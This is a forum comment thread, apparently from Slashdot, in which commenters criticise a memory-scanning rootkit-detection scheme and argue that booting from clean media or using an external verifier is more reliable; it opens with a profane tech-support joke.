Customer: You don't know anything about computers. Were you even listening? It was doing stupid shit BEFORE I CLICKED OK!
Tech: No, those windows were trying to alert you to a security problem
Customer: Why would there be a security problem if it wasn't already broken dipshit?
Tech: That was Windows, asking if you wanted to allow something
Customer: I wanted to allow it to play MY FUCKING GAME that it wouldn't let me play.
Tech: You installed a virus.
Customer: I'm going to bash you head in with a box of Cheerios.
Customer's mom: So what was all that about?
Customer: That guy was pretending to be a computer nerd so he could ask me out or something, and he had herpes or something, I don't know. He didn't know anything about computers and wasn't listening to me and didn't believe me.
Customer's mom: Hello, Police? I'd like to report a crime...

No it doesnt!

[Hurricane78]

It can perfectly well live in the cache, busmaster devices, buffers, etc.

Re:There is something that can answer your questio

[clone53421]

There are a dozen different ways that the rootkit could hijack the process if it intimately knew how the scanner worked.

For example.

Pseudo-random data is reproduceable. Rather than caching the large amount of data to the disk, it could simply sniff out the randomizer’s seed and return the appropriate data when it re-scans the memory to compute the checksum after writing to it. This would avoid a lengthy delay in writing and reading the hard disk.

The rootkit could also, even more easily, overwrite your entire scanner with NOPs and then set the detection to false. Nothing to see here, move along. This is so obvious it’s trivial.

Or it could overwrite your checksums with identical values right before you compare them. The comparison matches; nothing to see.

It could even adjust the system timers so that the scanner wouldn’t be able to detect the added delay of write/read operations to the hard disk when only memory operations should have been performed.

Really the only way you’re going to be able to ensure that your scan is reliable is by using an external (trusted) device, whether it be a black box that tells you the true amount of RAM, or that keeps an accurate time, or seeds your randomizer, or whatever, or a whole separate computer to which you attach your secondary storage devices and scan them. But at this point you really might as well just boot the infected system from a clean boot CD and scan it with RAM that is 100% certain to be clean.

It's a flawed idea

[Anonymous Coward]

This thing is pretty dumb, a better way to do it is boot off a CD or something and scan the disc, which would mean that you don't have to swap out the memory because *it is already clean*

Firmware / BIOS malware?

[RichiH]

Our GPU are becoming more and more multi-purpose every day.

But that is not the real threat... Suppose I install my crap in your network interface's firmware and just drop packages I don't want you to see (think "rocket incoming" or "stock falling"). Yes, those are high-level examples and yes, this approach is more or less 'outside' the system.

But if I just feed crap into your system, are you _sure_ every device driver is hardened? And what context do device drivers run in? Kernel context? Oups...

Windows patching _is_ malware

[minstrelmike]

The way windows can patch itself is malware in action. As soon as I have some 'legal' way to change the baseline, I also have a way of installing illegal software surreptitiously. It would only work on something that never needs updating.

Re:There is something that can answer your questio

[Sancho]

Really the only way you’re going to be able to ensure that your scan is reliable is by using an external (trusted) device, whether it be a black box that tells you the true amount of RAM, or that keeps an accurate time, or seeds your randomizer, or whatever, or a whole separate computer to which you attach your secondary storage devices and scan them.

The article mentions using an external verifier.

Re:There is something that can answer your questio

[clone53421]

Yes, which is usually going to involve more expense, hassle, and time than simply booting from a live CD.

Apparently TFA’s own source was actually talking about cell phones, in which case this possibly could be made to work. The cell phone provider would be the external verifier, and the software on the phone would be quite limited so that whitelisting would be more practical. However even then the scan could give a false negative if you broke the randomness of the pseudo-random data. A rootkit could also subvert the communications to the carrier to make the carrier/phone think the scan was clean (this would depend on the implementation, but I see a few ways that it could take place).

For a personal computer (as the author of TFA incorrectly seemed to think)? Not practical in the least.

Re:Computers are Appliances

[bmo]

This is why the App Store is a good idea.

Some people don't deserve digital freedom.

--
BMO

The absolutely fatal assumption

[jamie(really)]

Defending against adversarial strategy 4 – modify detection code. The security against adversarial strategy 4 follows directly from assumption 2 (code optimality), with the exception of a “kamikaze strategy” in which the adversary corrupts the execution of some of the steps (as described in section 3), and then willingly loads legitimate code and removes itself. Such an adversary could only corrupt step 1 of the process, as it will have to be overwritten during step 2 to avoid detection. Moreover, it needs to correctly perform the setup in step 1; this means that the only harm it can do is to cause an incorrect state to be swapped out in step 1. It can write anything it wants to to swap space. It can place a copy of itself in the swap space, or a copy of a legitimate but vulnerable application, with an input triggering an opportunity for malware to be loaded. However, the swap space will be scanned along with all other memory during step 5, and any known malicious configuration will be detected.

If an adversary corrupts stage 1, there is no stage 2, just a fake stage 2.

Holy shit. Seriously. Did this guy also certify the DRM for Ass Creed 2?